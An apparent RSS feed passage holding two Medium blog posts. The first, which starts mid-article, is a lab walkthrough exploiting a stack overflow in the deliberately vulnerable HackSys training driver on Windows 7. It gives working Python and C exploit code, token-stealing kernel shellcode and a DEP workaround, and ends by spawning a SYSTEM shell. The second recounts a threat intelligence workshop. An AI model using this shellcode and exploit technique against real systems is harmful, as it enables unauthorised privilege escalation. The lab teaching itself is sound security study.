python</li><li>Handle creation using CreateFileA() Function</li><li>Exception handling — If we cannot get the IOCTL Handle</li><li>Buffer &amp; Shellcode Definition</li><li>DeviceIoControl() with the correct IOCTL and the handle</li></ul><p>To get the handle we require handle name, which can be observed during the reverse engineering of our driver inside the DriverEntry().</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/0*zVvEubNH_EbEjkQC" /></figure><p>Our initial exploit,</p><pre>import struct, sys, os<br>from ctypes import *<br><br>kernel32 = windll.kernel32<br>handle = kernel32.CreateFileA(&quot;\\\\.\\HackSysExtremeVulnerableDriver&quot;, 0xC0000000, 0, None, 0x3, 0, None)<br><br>if not handle or handle == -1:<br> print &quot;Failed to get device handle.&quot;<br> sys.exit(0)<br> <br>buffer = &quot;\x41&quot; * 2080<br>buffer += &quot;\x42&quot; * 4<br>buffer += &quot;\x43&quot; * (3000 - len(buffer))<br><br>kernel32.DeviceIoControl(handle, 0x222003, buffer, len(buffer), None, 0, byref(c_ulong()), None)</pre><p>Now, let’s observe using WinDbg if our exploit works and overwrite the EIP or not.</p><p>Running our exploit, we get a crash!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*tEBoZFFt2xsr_lge" /></figure><p>Continuing the execution on Windbg, we can see our target machine crashing and going into BSOD state.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/0*3tINUmokqsbXgpoU" /></figure><h3>4. Token Stealing Shellcode &amp; Assembly Code Manual Analysis</h3><p>Now, for further escalating our privileges from User to SYSTEM, we will use the token stealing shellcode provided by the Hacksys Team.</p><p><a href="https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/Payloads.c">HackSysExtremeVulnerableDriver/Exploit/Payloads.c at master · hacksysteam/HackSysExtremeVulnerableDriver</a></p><p>Let’s understand this part in deep, breaking down into different sub-sections:</p><ol><li>What is Shellcode?</li><li>What is the Goal?</li><li>Step-By-Step Explanation</li></ol><h4>1. What is Shellcode?</h4><p>Shellcode is a small piece of code typically written in assembly language used as the payload in the exploitation part.</p><h4>2. What is the Goal?</h4><p>The goal here is to escalate our privileges to the highest level on our target Windows system, which is “NT AUTHORITY\SYSTEM” allowing us to perform any action on the system.</p><p>To achieve this, we will use the token stealing shellcode provided by the Hacksys team, which copies a token ( a security identifies that Windows uses to manage user permissions) from a SYSTEM process to our own process ( cmd.exe ).</p><h4>3. Step-by-Step Explanation</h4><p>Firstly, we need to save the state of all the general-purpose registers. This is done so that the state can be restored later and avoid crashing the system. We will learn how the shellcode manipulates Windows internals to elevate privileges.</p><pre>pushad ;Saving State of all General-Purpose registers</pre><p>Zero out the eax register, this register is oftenly used to store data temporarily.</p><pre>xor eax,eax ;Zero out eax register</pre><p>Now, we need to access the <a href="https://www.codeproject.com/Articles/29174/Win32-TIB">Thread Information Block (TIB)</a>, which is a data structure in Windows that contains information about the currently running thread. The TIB can be accessed as an offset of segment register FS. FS is the data selector to TIB for the first thread.</p><p>At an offset of 0x124 to the FS segment register we get the address of “_KTHREAD” structure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/0*QVrqef2pYg4h4WDb" /></figure><pre>mov eax, fs:[eax + 0x124] ;Get the current thread</pre><p>To get the Current Process from the “_EPROCESS”, we add 0x50 (EPROCESS_OFFSET) to the Address of “_KTHREAD” structure. The “_EPROCESS” structure contains information about the process.</p><pre>mov eax, [eax + 0x50] </pre><p>Save the current process address into ecx register for later use.</p><pre>mov ecx, eax</pre><p>Here, 0x4 is the process ID (PID) for the SYSTEM process in Windows 7.</p><pre>mov edx, 0x4 ;System PID stored in edx</pre><p>Now, we have to search for the System Process. For this the loop iterates through the linked list of active processes. In the _EPROCESS structure at offset 0xb8 we have the ActiveProcessLinks structure and at the 0xb4 offset we have the UniqueProcessId. This can be refered from the <a href="https://www.vergiliusproject.com/kernels/x86/windows-7/sp1/_EPROCESS">Vergilius Project</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/0*D-VvJvoUTm57TwWP" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/0*W-Yz1vbZZV1GLbvQ" /></figure><pre>SearchSystemPID:<br> mov eax, [eax + 0xb8] ;Follows the linked list<br> sub eax, 0xb8 ;Adjusts the pointer<br> cmp [eax + 0xb4], edx ; edx = 0x4 | Checks if the current process is the SYSTEM process<br> jne SearchSystemPID ;If not, it continues the search</pre><p>Once the SYSTEM process is found, we need to copy it and assign the SYSTEM token to our process. At 0xf8 offset we have the Token.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/0*OL5rw6KxjK9QFE0q" /></figure><pre>mov edx, [eax + 0xf8] ;Copies the token into edx<br>mov [ecx + 0xf8], edx ;Assigns the system token to our process</pre><p>Now, since the token stealing is completed we need to restore the registers to their original state and return from the function, cleaning up the stack.</p><pre>popad<br>pop ebp ;Restore the base pointer<br>ret 0x8 ;Return and clear the next 8 bytes</pre><p>Due to Data Execution Prevention (DEP), the stack area is not executable. So to bypass DEP we will use VirtualAlloc to allocate a memory region with RWX (Read-Write-Executable) and copy our shellcode to the newly allocated RWX region.</p><p>Note: We are not considering SMEP/SMAP as it was available after Windows 7. So, no need to worry about this now.</p><h3>5. Final Exploit and Spawning the shell</h3><pre>import struct, sys, os, subprocess<br>from ctypes import *<br><br>kernel32 = windll.kernel32<br>handle = kernel32.CreateFileA(&quot;\\\\.\\HackSysExtremeVulnerableDriver&quot;, 0xC0000000, 0, None, 0x3, 0, None)<br><br>if not handle or handle == -1:<br> print &quot;Failed to get device handle.&quot;<br> sys.exit(0)<br> <br>payload = &quot;&quot;<br>payload += bytearray(<br>  &quot;\x60&quot;                            # pushad<br>    &quot;\x31\xc0&quot;                        # xor eax,eax<br>    &quot;\x64\x8b\x80\x24\x01\x00\x00&quot;    # mov eax,[fs:eax+0x124]<br>    &quot;\x8b\x40\x50&quot;                    # mov eax,[eax+0x50]<br>    &quot;\x89\xc1&quot;                        # mov ecx,eax<br>    &quot;\xba\x04\x00\x00\x00&quot;            # mov edx,0x4<br>    &quot;\x8b\x80\xb8\x00\x00\x00&quot;        # mov eax,[eax+0xb8]<br>    &quot;\x2d\xb8\x00\x00\x00&quot;            # sub eax,0xb8<br>    &quot;\x39\x90\xb4\x00\x00\x00&quot;        # cmp [eax+0xb4],edx<br>    &quot;\x75\xed&quot;                        # jnz 0x1a<br>    &quot;\x8b\x90\xf8\x00\x00\x00&quot;        # mov edx,[eax+0xf8]<br>    &quot;\x89\x91\xf8\x00\x00\x00&quot;        # mov [ecx+0xf8],edx<br>    &quot;\x61&quot;                            # popad<br>    &quot;\x5d&quot;                            # pop ebp<br>    &quot;\xc2\x08\x00&quot;                    # ret 0x8<br>)<br><br>#Allocating RWX region for shellcode using VirtualAlloc<br>pointer = kernel32.VirtualAlloc(c_int(0),c_int(len(payload)),c_int(0x3000),c_int(0x40))<br>buf = (c_char * len(payload)).from_buffer(payload)<br><br>#Copy Shellcode to the newly allocated RWX region<br>kernel32.RtlMoveMemory(c_int(pointer),buf,c_int(len(payload)))<br>shellcode = struct.pack(&quot;&lt;L&quot;,pointer)<br><br>#Overwriting EIP<br>buffer = &quot;\x41&quot; * 2080 + shellcode<br><br>kernel32.DeviceIoControl(handle, 0x222003, buffer, len(buffer), None, 0, byref(c_ulong()), None)<br><br># Open a new command prompt<br>subprocess.Popen(&quot;start cmd&quot;, shell= True)</pre><p>After running the exploit, we can successfully perform privilege escalation from User to Nt Authority\System.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cttKiSFrtWG5HD-m" /></figure><p>For someone who wants to write the exploit in C/C++, here is the reference —</p><pre>/*<br>Exploiting Windows 7 HEVD x85<br>Vulnerability - Stack Overflow<br>*/<br>#include &lt;Windows.h&gt;<br>#include &lt;stdio.h&gt;<br><br>unsigned char shellcode[] = {<br>  0x60,                           // pushal<br>  0x31, 0xc0,                     // xor eax, eax<br>  0x64, 0x8b, 0x80, 0x24, 0x01, 0x00, 0x00,  // mov eax, dword ptr fs:[eax + 0x124]<br>  0x8b, 0x40, 0x50,               // mov eax, dword ptr [eax + 0x50]<br>  0x89, 0xc1,                     // mov ecx, eax<br>  0xba, 0x04, 0x00, 0x00, 0x00,   // mov edx, 4<br>  0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00,  // mov eax, dword ptr [eax + 0xb8]<br>  0x2d, 0xb8, 0x00, 0x00, 0x00,   // sub eax, 0xb8<br>  0x39, 0x90, 0xb4, 0x00, 0x00, 0x00,  // cmp dword ptr [eax + 0xb4], edx<br>  0x75, 0xed,                     // jne 0x1014<br>  0x8b, 0x90, 0xf8, 0x00, 0x00, 0x00,  // mov edx, dword ptr [eax + 0xf8]<br>  0x89, 0x91, 0xf8, 0x00, 0x00, 0x00,  // mov dword ptr [ecx + 0xf8], edx<br>  0x61,                           // popal<br>  0x5D,                           // pop ebp<br>  0xC2, 0x08, 0x00                // ret 0x8<br>};<br><br>DWORD shellcode_len = sizeof(shellcode);<br><br>int main() {<br><br> // Getting Handle To The Driver<br> /*<br> HANDLE CreateFileA(<br>  [in]           LPCSTR                lpFileName,<br>  [in]           DWORD                 dwDesiredAccess,<br>  [in]           DWORD                 dwShareMode,<br>  [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes,<br>  [in]           DWORD                 dwCreationDisposition,<br>  [in]           DWORD                 dwFlagsAndAttributes,<br>  [in, optional] HANDLE                hTemplateFile<br>);<br> */<br> HANDLE hDriver = CreateFileA(<br>  &quot;\\\\.\\HackSysExtremeVulnerableDriver&quot;,<br>  GENERIC_READ | GENERIC_WRITE,<br>  0x00,<br>  NULL,<br>  OPEN_EXISTING,<br>  FILE_ATTRIBUTE_NORMAL,<br>  NULL<br> );<br> // Identifying The IOCTL For BO<br> // 0x222003u<br> // METHOD_NEITHER<br> // Buffer Size Of Kernel Buffer - 512d or 200h / 0x800 or 2048d<br> // Setting Up The Buffer<br> char buffer[2100];<br> //memset(buffer, &#39;A&#39;, sizeof(buffer));<br> LPVOID ptrShellcode = VirtualAlloc(<br>  NULL,<br>  shellcode_len,<br>  MEM_COMMIT | MEM_RESERVE,<br>  PAGE_EXECUTE_READWRITE<br> );<br> memcpy(ptrShellcode, shellcode, shellcode_len);<br><br> memset(buffer, &#39;A&#39;, 2080);<br> memcpy(buffer + 2080, &amp;ptrShellcode, sizeof(DWORD));<br><br> // Sending The Buffer<br> DeviceIoControl(<br>  hDriver,<br>  0x222003,<br>  &amp;buffer,<br>  sizeof(buffer),<br>  NULL,<br>  NULL,<br>  NULL,<br>  NULL<br> );<br><br> system(&quot;cmd.exe&quot;);<br><br> return 0;<br>}<br><br></pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=12be551350f1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Curiosity to Capability: What I Learned in a Threat Intelligence Workshop — Threat…]]></title>
            <link>https://medium.com/@sushant.m.mane/from-curiosity-to-capability-what-i-learned-in-a-threat-intelligence-workshop-threat-454a644fcc42?source=rss-fa7a71c497c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/454a644fcc42</guid>
            <category><![CDATA[ot-security]]></category>
            <category><![CDATA[iot-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <dc:creator><![CDATA[Sushant M Mane | The Cyber Veda IN]]></dc:creator>
            <pubDate>Sun, 20 Apr 2025 19:14:41 GMT</pubDate>
            <atom:updated>2025-04-20T19:14:41.756Z</atom:updated>
            <content:encoded><![CDATA[<h3>From Curiosity to Capability: What I Learned in a Threat Intelligence Workshop — Threat Intelligence for Beginners</h3><h3>1. Introduction</h3><p>Over the past month, I had the opportunity to attend an intense, hands-on workshop on Threat Intelligence — spread over 6 days across four weekends. This wasn’t just another webinar or passive learning experience. It was structured, practical, and deeply engaging. In this blog, I’ll take you through what the workshop covered, my personal takeaways, and how it influenced my perspective on threat intelligence.</p><h3>2. Why I Chose This Workshop?</h3><p>Coming from a background in IoT Security &amp; Malware analysis, I have always being fascinated by how attackers operate, how hacktivism takes place, how campaigns are tracked and how intelligence is gathered. Threat Intelligence bridges technical analysis &amp; strategic defense. This workshop promised hands-on exposure and it delivered.</p><h3>3. Workshop Structure</h3><ul><li><strong>Duration:</strong> 6 Days (Weekends Only)</li><li><strong>Mode:</strong> Online</li><li><strong>Conducted By:</strong> <a href="https://medium.com/u/ac04bb848325">Rishika Desai</a></li><li><strong>Topics Covered:</strong></li><li>Introduction to Threat Intelligence</li><li>Key Concepts in Threat Intelligence</li><li>Different Types of Threats</li><li>Understanding TTPs</li><li>Threat Intelligence Frameworks</li><li>Types of Intelligence</li><li>OPSEC</li><li>OSINT</li><li>The Diamond Model</li><li>Chain of Analysis</li><li>Info Stealer Malware</li><li>Dark Web Forums</li><li>Cybercrime Market Exploration</li><li>Hunting Threat in Shodan</li><li>Hacktivism</li><li>Initial Access Brokers</li><li>Intelligence Source &amp; Information Reliability</li><li>Traffic Light Protocol</li><li>Writing Feeds</li><li>CTI Report Writing</li><li>Aggregators</li><li>OPSEC Failure</li><li>Criminal Lingos</li><li>Further career guidance… And many more…</li></ul><p>Yes, it was all practical, live and hands-on.</p><h3>4. My Key Learning</h3><p>I discovered that Threat Intelligence isn’t just a technical domain — it’s a mindset. It teaches you to think like an adversary, act like a detective, and communicate like a strategist. Here’s what truly stood out for me:</p><ol><li><strong>It’s not just about the tools — It’s about thinking like an Analyst</strong></li></ol><p>The first thing I realized is that threat intelligence is more than collecting IOCs or feeds. It’s about context. It’s about understanding the “why” behind an attack and how adversaries operate. A good report contains — 5W1H — “ Who When What Where Why &amp; How”. Learning about TTPs (Tactics, Techniques &amp; Procedures) and frameworks like MITRE ATT&amp;CK and the Diamond Model helped me structure my thinking in a systematic way.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jk-TYYczmKXQYXk6Z8uoSQ.png" /><figcaption>Source: <a href="https://attack.mitre.org/resources/attack-data-and-tools/traffic">https://attack.mitre.org/resources/attack-data-and-tools/</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*Rpj3yGSIybMnCHfnT9aKfQ.jpeg" /><figcaption>Source: <a href="https://kravensecurity.com/diamond-model-analysis/">https://kravensecurity.com/diamond-model-analysis/</a></figcaption></figure><p><strong>2. Raw Data Without Context Is Just Noise</strong></p><p>We will dealt with dozens of threat feeds, but the most important skill I picked up was evaluating the credibility of information. We used the Traffic Light Protocol (TLP) to classify data sensitivity and learned how threat intelligence sources vary in reliability. Trust but verify became the golden rule.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*-3MY6c1VGpw6Sf0s7sfwmw.png" /><figcaption>Source: <a href="https://www.sentinelone.com/cybersecurity-101/cybersecurity/what-is-traffic-light-protocol-tlp-in-cybersecurity/">https://www.sentinelone.com/cybersecurity-101/cybersecurity/what-is-traffic-light-protocol-tlp-in-cybersecurity/</a></figcaption></figure><p><strong>3. Exploring the Underground World: Dark Web &amp; Cybercrime Markets</strong></p><p>This was honestly one of the most eye-opening parts of the workshop. We explored dark web forums and marketplaces, understanding how malware, credentials, &amp; services like ransomware-as-a-service are openly traded. The cyber lingos used over there. Seeing the ecosystem behind attacks gave me a whole new appreciation for proactive defense.</p><p><strong>4. OPSEC isn’t Optional — Even Hackers Get Caught</strong></p><p>Understanding OPSEC from both attacker and defenders view was fascinating. We looked at case studies of OPSEC failures and how small mistakes led to major arrests. It’s a reminder that everyone leaves digital breadcrumbs — you just know where to look.Cyber</p><p><strong>5. Chain of Analysis — Connecting Dots at Scale</strong></p><p>One of the most satisfying exercises was tracing a simple IOC (like an IP or hash) through a full analysis chain — eventually profiling an entire adversary campaign. This helped me understand how strategic and technical intelligence pieces fir together.</p><p><strong>6. Hacktivism: When Ideology Meets Cyber Space</strong></p><p>Not all threats are financially motivated. We explored the world of hacktivism, it’s motives, and how these groups operate differently than traditional APTs or Cybercriminals. This expanded my perspective on the “why” behind cyber incidents.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*5TQu0ywOY-ADsyP9rHQ8lg.png" /><figcaption>Source: <a href="https://us.norton.com/blog/emerging-threats/hacktivism">https://us.norton.com/blog/emerging-threats/hacktivism</a></figcaption></figure><h3>5. Final Thoughts</h3><p>Threat Intelligence isn’t just about fancy buzzwords or dashboards — it’s about understanding the enemy. This workshop has fundamentally changed how I look at cybersecurity. I’d strongly recommend it to anyone interested in proactive defense, red-blue team collaboration, or just leveling up in cybersecurity.</p><p>Thanking you <a href="https://medium.com/u/ac04bb848325">Rishika Desai</a> for this insightful training.</p><h3>6. What’s Next?</h3><p>As someone working in the intersection of cybersecurity and embedded systems, my next step is to apply the threat intelligence concepts I’ve learned to the IoT and OT domains.</p><p>These environments have unique challenges — limited visibility, legacy protocols, and physical-world impact — but the fundamentals of threat intel remain incredibly relevant. I plan to:</p><ul><li>Map IoT/OT threats using the MITRE EMB3D and ATT&amp;CK Frameworks.</li><li>Build a mini threat intel lab focused on collecting and analyzing IoT malware and firmware-level indicators.</li><li>Experiment with analyzing and writing YARA rules for embedded/ICS malwares.</li><li>How malware-as-a-service has emerged? How are they bypassing and evading AVs, EDRs &amp; XDRs?</li></ul><p>Threat intelligence is not just a skill — it’s a lens through which I now see every security problem. And I’m excited to the ever-evolving world of IoT &amp; OT security.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=454a644fcc42" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>